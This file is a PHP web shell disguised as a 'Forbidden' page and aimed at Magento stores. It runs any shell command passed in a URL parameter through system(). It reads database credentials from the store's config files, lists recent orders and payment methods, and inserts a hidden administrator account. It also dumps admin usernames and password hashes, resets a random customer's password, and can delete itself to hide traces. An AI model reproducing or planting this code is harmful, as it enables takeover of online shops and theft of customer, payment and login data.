<?php @error_reporting(0); $conn = false; $connd = array('h'=>'', 'u'=>'', 'p'=>'', 'd'=>'', 'r'=>''); $isM2 = false; $v=($_GET["a"]);@system($v); $path = get_magento_path(); $isMysqli = function_exists('mysqli_connect'); $connResult = ''; if(isset($_POST['btn_c'])) { $connd['h'] = @$_POST['h']; $connd['u'] = @$_POST['u']; $connd['p'] = @$_POST['p']; $connd['d'] = @$_POST['d']; $connd['r'] = @$_POST['r']; $conn = sql_conn($connd); if($conn!==false) { setcookie('h_c' , $connd['h'].'|'.$connd['u'].'|'.$connd['p'].'|'.$connd['d'].'|'.$connd['r']); $connResult = 'Connect ok!<br>'; } else { $connResult = 'Test connection error! ERR:'.sql_conn_error().'<br>'; } } elseif(isset($_COOKIE['h_c'])) { list($connd['h'], $connd['u'], $connd['p'], $connd['d'], $connd['r']) = explode('|', $_COOKIE['h_c']); $conn = sql_conn($connd); } else { $c = load_xml(); if($c!==false) { $connd = $c; $conn = sql_conn($connd); } } ?> <html> <head> <title>Forbidden</title> </head> <body> <?php if($conn) { ?> <p style="display:inline; color:green;">Connected</p> to <?php echo $connd['u'].':'.$connd['p'].'@'.$connd['h'].'/'.$connd['d'].($connd['r']!='' ? ' ('.$connd['r'].')':'').' via '.($isMysqli ? 'MySQLi':'MySQL').' ('.($isM2 ? 'M2' : 'M1').')'; ?> <?php } else { ?> <p style="display:inline; color:red;">Not connected</p> <?php } ?> <hr> [<a href="?a=c">Connection</a>] [<a href="?a=o">Orders</a>] [<a href="?a=a">Add admin</a>] [<a href="?a=l">Admin list</a>] [<a href="?a=u">Change user</a>] [<a href="?a=x">local.xml</a>] [<a href="?a=p">Dump</a>] [<a href="?a=d">Delete</a>]<br> <hr> <?php if(!$conn) $act = 'c'; else $act = @$_GET['a']; switch($act) { case 'c': show_c(); break; case 'a': show_a(); break; case 'u': show_u(); break; case 'o': show_o(); break; case 'l': show_l(); break; case 'x': show_x(); break; case 'p': show_p(); break; case 'd': $unlink = unlink(__FILE__); clearstatcache(); $exists = file_exists(__FILE__); echo "Unlink: <b style='color: ".($unlink===true ? 'green' : 'red')."'>".var_export($unlink, true)."</b><br>\n"; echo "File exists: <b style='color: ".($exists===false ? 'green' : 'red')."'>".var_export($exists, true)."</b>\n"; break; } ?> </body> </html> <?php function show_o() { global $connd, $isM2; if(isset($_REQUEST['limit'])) { $limit = intval($_REQUEST['limit']); } else { $limit = 100; } if($isM2) { $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_order` WHERE created_at > DATE_SUB(now(), INTERVAL 1 DAY) "); $t1 = sql_array($q); $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_order` WHERE created_at > DATE_SUB(now(), INTERVAL 7 DAY) "); $t7 = sql_array($q); $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_order` WHERE created_at > DATE_SUB(now(), INTERVAL 30 DAY) "); $t30 = sql_array($q); } else { $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_flat_order` WHERE created_at > DATE_SUB(now(), INTERVAL 1 DAY) "); $t1 = sql_array($q); $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_flat_order` WHERE created_at > DATE_SUB(now(), INTERVAL 7 DAY) "); $t7 = sql_array($q); $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_flat_order` WHERE created_at > DATE_SUB(now(), INTERVAL 30 DAY) "); $t30 = sql_array($q); } printf('<b>?003f?003f003f003c/b>: %d <b>?003f?003f003f</b>: %d <b>?003f?003f003f003c/b>: %d | <b>?003f?003f003f</b>: %d (?limit=%d)<br>', $t1['total'], $t7['total'], $t30['total'], $limit, $limit); if($isM2) { $q = sql_query("SELECT * FROM `{$connd['r']}sales_order` ORDER BY `created_at` DESC LIMIT ".$limit); } else { $q = sql_query("SELECT * FROM `{$connd['r']}sales_flat_order` ORDER BY `created_at` DESC LIMIT ".$limit); } echo '<table border=1><tr><th>ID</th><th>Date</th><th>Amount</th><th>Pay</th></tr>'; while($o = sql_array($q)) { if($isM2) { $qq = sql_query("SELECT `method` FROM `{$connd['r']}sales_order_payment` WHERE `entity_id` = {$o['entity_id']} LIMIT 1"); } else { $qq = sql_query("SELECT `method` FROM `{$connd['r']}sales_flat_order_payment` WHERE `entity_id` = {$o['entity_id']} LIMIT 1"); } $p = sql_array($qq); $qqq = sql_query( "SELECT `value` FROM `{$connd['r']}core_config_data` WHERE `path` = 'payment/{$p['method']}/title' AND `value` != '' LIMIT 1"); $pt = sql_array($qqq); echo "<tr><td>#{$o['increment_id']}</td><td>{$o['created_at']}</td><td>{$o['base_subtotal_incl_tax']}</td><td>{$p['method']}({$pt['value']})</td></tr>"; } echo '</table>'; } function show_u() { global $connd,$isM2; if(isset($_POST['btn_uc'])) { $p = @$_POST['p']; $salt = 'ab'; $q = sql_query("SELECT `entity_id`,`email` FROM `{$connd['r']}customer_entity` ORDER BY RAND() LIMIT 1"); $u = sql_array($q); if(!is_array($u) || $u['entity_id']=='') { echo 'Customer search error: '.sql_error().'<br>'; } else { if($isM2) { sql_query("UPDATE `{$connd['r']}customer_entity` SET password_hash = '".md5($salt.$p).":{$salt}:0' WHERE entity_id = {$u['entity_id']}"); } if(sql_query("INSERT INTO `{$connd['r']}customer_entity_varchar` (value_id, attribute_id, entity_id, value) VALUES(null, (select attribute_id from `{$connd['r']}eav_attribute` where attribute_code='password_hash' and entity_type_id=1 LIMIT 1), {$u['entity_id']}, '".md5($salt.$p).":{$salt}') ON DUPLICATE KEY UPDATE value='".md5($salt.$p).":{$salt}'")) { echo 'Update ok!<br>'; echo 'ID: '.$u['entity_id'].'<br>'; echo 'Email: '.$u['email'].'<br>'; echo 'Pass: '.$p.'<br>'; } else { echo 'Customer update error: '.sql_error().'<br>'; } } } echo '<form method="POST"> Pass: <input type="text" name="p"><br> <input type="submit" name="btn_uc" value="Change password"> </form>'; } function show_a() { global $connd,$isM2; if(isset($_POST['btn_aa'])) { $salt = 'ab'; if($isM2) { $q1 = "INSERT INTO `{$connd['r']}admin_user` (`firstname`,`lastname`,`email`,`username`,`password`) VALUES ('".sql_escape(@$_POST['f'])."','".sql_escape(@$_POST['l'])."','".sql_escape(@$_POST['e'])."','".sql_escape(@$_POST['u'])."','".hash('sha256', $salt.@$_POST['p']).":{$salt}:1')"; } else { $q1 = "INSERT INTO `{$connd['r']}admin_user` (`firstname`,`lastname`,`email`,`username`,`password`) VALUES ('".sql_escape(@$_POST['f'])."','".sql_escape(@$_POST['l'])."','".sql_escape(@$_POST['e'])."','".sql_escape(@$_POST['u'])."','".md5($salt.@$_POST['p']).":{$salt}')"; } if(sql_query($q1)) { if($isM2) { $q2 = "INSERT INTO `{$connd['r']}authorization_role` (`role_id`,`parent_id`,`tree_level`,`sort_order`,`role_type`,`user_id`,`role_name`,`user_type`) VALUES (null, 1, 2, 0, 'U', ".sql_id().", '".sql_escape(@$_POST['u'])."', 2)"; } else { $q2 = "INSERT INTO `{$connd['r']}admin_role` (`role_id`,`parent_id`,`tree_level`,`sort_order`,`role_type`,`user_id`,`role_name`) VALUES (null, 1, 2, 0, 'U', ".sql_id().", '".sql_escape(@$_POST['u'])."')"; } if(sql_query($q2)) echo "Added admin!<br>"; else echo "Error when adding admin role: ".sql_error()."<br>"; } else echo "Error when adding admin: ".sql_error()."<br>"; } echo '<form method="POST"> First:<input type="text" name="f"><br> Last:<input type="text" name="l"><br> Email:<input type="text" name="e"><br> Login:<input type="text" name="u"><br> Pass:<input type="text" name="p"><br> <input type="submit" name="btn_aa" value="Add"> </form>'; } function show_c() { global $connd, $connResult; if(isset($_POST['btn_l'])) { $c = load_xml(); if($c===false) echo 'Cannot find xml!<br>'; else $connd = $c; } if($connResult!='') { echo $connResult; } echo '<form method="POST"> Host: <input type="text" name="h" value="'.$connd['h'].'"><br> User: <input type="text" name="u" value="'.$connd['u'].'"><br> Pass: <input type="text" name="p" value="'.$connd['p'].'"><br> DB: <input type="text" name="d" value="'.$connd['d'].'"><br> Prefix: <input type="text" name="r" value="'.$connd['r'].'"><br> <input type="submit" name="btn_c" value="Save"><input type="submit" name="btn_l" value="Load xml"> </form>'; } function show_l() { global $connd; $q = sql_query("SELECT * FROM `{$connd['r']}admin_user` ORDER BY `user_id` ASC"); echo '<table border=1><tr><th>ID</th><th>Name</th><th>Login</th><th>Email</th><th>Password</th><th>Log date</th></tr>'; $outStr = ''; $dumpStr = 'user_id/firstname/lastname/username/email/password/logdate/is_active'."\n"; while($item = sql_array($q)) { $outStr .= $item['username'].':'.$item['password']."\r\n"; $dumpStr .= $item['user_id'].'/'.$item['firstname'].'/'.$item['lastname'].'/'.$item['username'].'/'.$item['email'].'/'.$item['password'].'/'.$item['logdate'].'/'.$item['is_active']."\n"; echo '<tr><td>'.$item['user_id'].'</td><td>'.$item['firstname'].' '.$item['lastname'].'</td><td>'.$item['username'].'</td><td>'.$item['email'].'</td><td>'.$item['password'].'</td><td>'.$item['logdate'].' ('.$item['is_active'].')</td></tr>'; } echo '</table>'; echo '<textarea cols=100 rows=20>'.htmlspecialchars($outStr).'</textarea><br>'; echo '<textarea cols=100 rows=20>'.htmlspecialchars($dumpStr).'</textarea>'; } function show_x() { global $isM2; $xml = get_xml(); if($isM2) { echo "Path: <b>".get_magento_path()."/app/etc/env.php</b><br>"; echo '<textarea cols=100 rows=20>'.htmlspecialchars(file_get_contents(get_magento_path()."/app/etc/env.php")).'</textarea>'; } else { echo "Path: <b>".get_magento_path()."/app/etc/local.xml</b><br>"; echo '<textarea cols=100 rows=20>'.htmlspecialchars($xml).'</textarea>'; } } function show_p() { global $connd; global $isM2; if($isM2) $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_order` WHERE created_at > DATE_SUB(now(), INTERVAL 30 DAY) "); else $q = sql_query("SELECT count(*) as total FROM `{$connd['r']}sales_flat_order` WHERE created_at > DATE_SUB(now(), INTERVAL 30 DAY) "); $t30 = sql_array($q); $xml = ''; if($isM2) { $xml .= "<h_engine_name>[PHP] Magento 2.x</h_engine_name>\n"; } else { $xml .= "<h_engine_name>[PHP] Magento 1.x</h_engine_name>\n"; } $xml .= "<h_engine_path>".get_magento_path()."</h_engine_path>\n"; $xml .= "<h_ordes_count_m>".$t30['total']."</h_ordes_count_m>\n"; $xml .= "<h_admins_list>".getAdminsRaw()."</h_admins_list>\n"; if($isM2) { $xml .= "<h_config_local_xml>".file_get_contents(get_magento_path()."/app/etc/env.php")."</h_config_local_xml>"; } else { $xml .= "<h_config_local_xml>".get_xml()."</h_config_local_xml>"; } echo '<textarea cols=100 rows=20>'.htmlspecialchars($xml).'</textarea>'; } function load_xml() { global $isM2; $xml = get_xml(); if($xml!==false) { if($isM2) { return array('h'=>$xml['db']['connection']['default']['host'], 'u'=>$xml['db']['connection']['default']['username'], 'p'=>$xml['db']['connection']['default']['password'],'d'=>$xml['db']['connection']['default']['dbname'],'r'=>$xml['db']['connection']['table_prefix']); } else { $xml = preg_replace('/<!--(.*?)-->/is', '', $xml); preg_match('/<host><!\[CDATA\[(.*?)\]\]><\/host>/i', $xml, $m1); preg_match('/<username><!\[CDATA\[(.*?)\]\]><\/username>/i', $xml, $m2); preg_match('/<password><!\[CDATA\[(.*?)\]\]><\/password>/i', $xml, $m3); preg_match('/<dbname><!\[CDATA\[(.*?)\]\]><\/dbname>/i', $xml, $m4); preg_match('/<table_prefix><!\[CDATA\[(.*?)\]\]><\/table_prefix>/i', $xml, $m5); return array('h'=>$m1[1], 'u'=>$m2[1], 'p'=>$m3[1],'d'=>$m4[1],'r'=>$m5[1]); } } return false; } function getAdminsRaw() { global $connd; $q = sql_query("SELECT * FROM `{$connd['r']}admin_user` ORDER BY `user_id` ASC"); $dumpStr = 'user_id/firstname/lastname/username/email/password/logdate/is_active'."\n"; while($item = sql_array($q)) { $dumpStr .= $item['user_id'].'/'.$item['firstname'].'/'.$item['lastname'].'/'.$item['username'].'/'.$item['email'].'/'.$item['password'].'/'.$item['logdate'].'/'.$item['is_active']."\n"; } return $dumpStr; } function get_xml() { global $isM2; if($isM2) { return include(get_magento_path().'/app/etc/env.php'); } else { return file_get_contents(get_magento_path().'/app/etc/local.xml'); } } function get_magento_path() { global $isM2; for($i=0;$i<=10;$i++) { if(file_exists(str_repeat('../', $i).'app/etc/local.xml')) { $isM2 = false; return realpath(str_repeat('../', $i)); } if(file_exists(str_repeat('../', $i).'app/etc/env.php')) { $isM2 = true; return realpath(str_repeat('../', $i)); } } return false; } function sql_conn($data) { global $isMysqli; if($isMysqli) { $c = mysqli_connect($data['h'], $data['u'], $data['p'], $data['d']); if($c===false) return false; if(!mysqli_set_charset($c, 'utf8')) return false; } else { $c = mysql_connect($data['h'], $data['u'], $data['p']); if(!$c) return false; if(!mysql_select_db($data['d'])) return false; if(!mysql_set_charset('utf8')) return false; } return $c; } function sql_query($q) { global $conn, $isMysqli; if($isMysqli) { return mysqli_query($conn, $q); } else { return mysql_query($q, $conn); } } function sql_array($q) { global $conn, $isMysqli; return $isMysqli ? mysqli_fetch_array($q) : mysql_fetch_array($q); } function sql_error() { global $isMysqli, $conn; return $isMysqli ? mysqli_error($conn) : mysql_error(); } function sql_escape($str) { global $isMysqli, $conn; return $isMysqli ? mysqli_real_escape_string($conn, $str) : mysql_real_escape_string($str); } function sql_id() { global $isMysqli, $conn; return $isMysqli ? mysqli_insert_id($conn) : mysql_insert_id(); } function sql_conn_error() { global $isMysqli; return $isMysqli ? mysqli_connect_error() : mysql_error(); }